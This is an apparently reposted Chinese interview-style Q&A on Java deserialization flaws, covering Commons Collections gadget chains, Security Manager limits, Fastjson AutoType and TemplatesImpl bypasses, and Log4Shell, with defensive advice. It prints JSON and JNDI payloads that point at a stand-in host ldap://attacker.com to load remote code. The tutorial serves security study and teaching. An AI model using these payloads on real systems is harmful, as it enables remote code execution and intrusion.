1. 请解释Java反序列化漏洞的根本原因,并说明为何攻击者可以通过反序列化执行任意代码?
答案
Java反序列化的核心问题在于其默认机制允许通过ObjectInputStream
的readObject
方法还原任意对象。攻击者通过构造恶意序列化数据,利用以下两点实现代码执行:
-
动态行为触发:某些类的 readObject
方法在反序列化时会隐式执行代码(如HashMap
的哈希计算触发equals
/hashCode
)。 -
Gadget链组合:利用类路径中可用的类(如Apache Commons Collections的 InvokerTransformer
)构造调用链,最终通过反射调用Runtime.exec
等危险方法。
例如,InvokerTransformer
允许通过反射调用任意方法,攻击者将其串联到AnnotationInvocationHandler
的动态代理触发点,形成完整的利用链。
2. JDK的Security Manager如何影响反序列化漏洞的利用?它的局限性是什么?
答案
Security Manager通过沙箱机制限制反序列化时的敏感操作(如文件读写、类加载):
// 示例策略文件配置
permission java.io.SerializablePermission "enableSubclassImplementation";
permission java.lang.RuntimePermission "accessClassInPackage.*";
局限性:
-
维护成本高:需精确配置权限白名单,否则易出现过度限制或漏洞。 -
绕过可能:若攻击链仅依赖纯内存操作(如反射调用 sun.misc.Unsafe
),可能绕过Security Manager的检测。 -
兼容性问题:许多框架(如Spring)需高权限运行,导致实际场景中Security Manager常被禁用。
3. 反序列化过程中,动态代理(Dynamic Proxy)和AnnotationInvocationHandler的作用是什么?请结合利用链说明
答案
-
动态代理:通过 Proxy.newProxyInstance
创建代理对象,将方法调用路由到InvocationHandler
。 -
AnnotationInvocationHandler:作为动态代理的处理器,其 invoke
方法在处理equals
/hashCode
时会触发memberValues
的隐式操作(如equalsImpl
中的遍历)。
利用链示例:
// 构造代理对象触发AnnotationInvocationHandler的equalsImpl
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
newClass[]{Map.class},
newAnnotationInvocationHandler(Override.class, maliciousMap)
);
// 反序列化时触发代理对象的equals/hashCode,进而执行恶意逻辑
在早期JDK中,攻击者通过将恶意TransformedMap
绑定到AnnotationInvocationHandler
,触发链式反射调用。
4. Fastjson的AutoType机制为何成为反序列化漏洞的核心?请结合JdbcRowSetImpl漏洞链说明攻击过程
答案
Fastjson的AutoType
允许反序列化时动态加载任意类,攻击者通过构造恶意JSON触发漏洞:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
漏洞链:
-
Fastjson解析 @type
指定的JdbcRowSetImpl
类,调用其setDataSourceName
和setAutoCommit
方法。 -
setAutoCommit(true)
触发JdbcRowSetImpl
的connect()
方法,执行JNDI lookup请求攻击者控制的LDAP服务器。 -
LDAP返回恶意序列化对象,触发目标机载入远程类(如 Exploit.class
),实现RCE。
防御:Fastjson 1.2.68后默认关闭AutoType,启用safeMode
或白名单限制可解析的类。
5. 如何通过Fastjson的"deserialization feature"绕过AutoType黑名单?请以TemplatesImpl类为例说明
答案
绕过原理:Fastjson黑名单未覆盖某些JDK高危类(如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
),攻击者可构造恶意JSON加载字节码:
{
"@type": "com.sun.org.apache.xalan...TemplatesImpl",
"_bytecodes": ["恶意字节码Base64"],
"_name": "a.b",
"_tfactory": {}
}
触发条件:
-
目标环境需存在 TemplatesImpl
类。 -
Fastjson版本≤1.2.68且未开启 safeMode
。
执行流程:反序列化时,Fastjson通过getOutputProperties()
触发字节码加载,静态代码块中的恶意逻辑(如Runtime.exec
)被执行。
6. 分析Log4j 2.x(CVE-2021-44228)与反序列化漏洞的结合利用场景
答案
Log4j 2.x的漏洞本质是JNDI注入,但可通过反序列化扩大攻击面:
-
直接攻击:日志中包含 ${jndi:ldap://attacker.com/Exploit}
,触发JNDI请求加载远程类。 -
反序列化配合:若应用同时存在反序列化漏洞(如HTTP参数解析),攻击者可注入JNDI Payload到日志上下文中,利用Log4j的漏洞执行二次攻击。
示例:
// 通过反序列化漏洞向日志写入恶意数据
logger.error("${jndi:ldap://attacker.com/Exploit}");
防御:升级Log4j至2.17.0+,禁用messageLookup
,并移除JndiLookup类。
原文始发于微信公众号(吉祥讲安全):会Java代码审计不就把别人卷死了。。。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论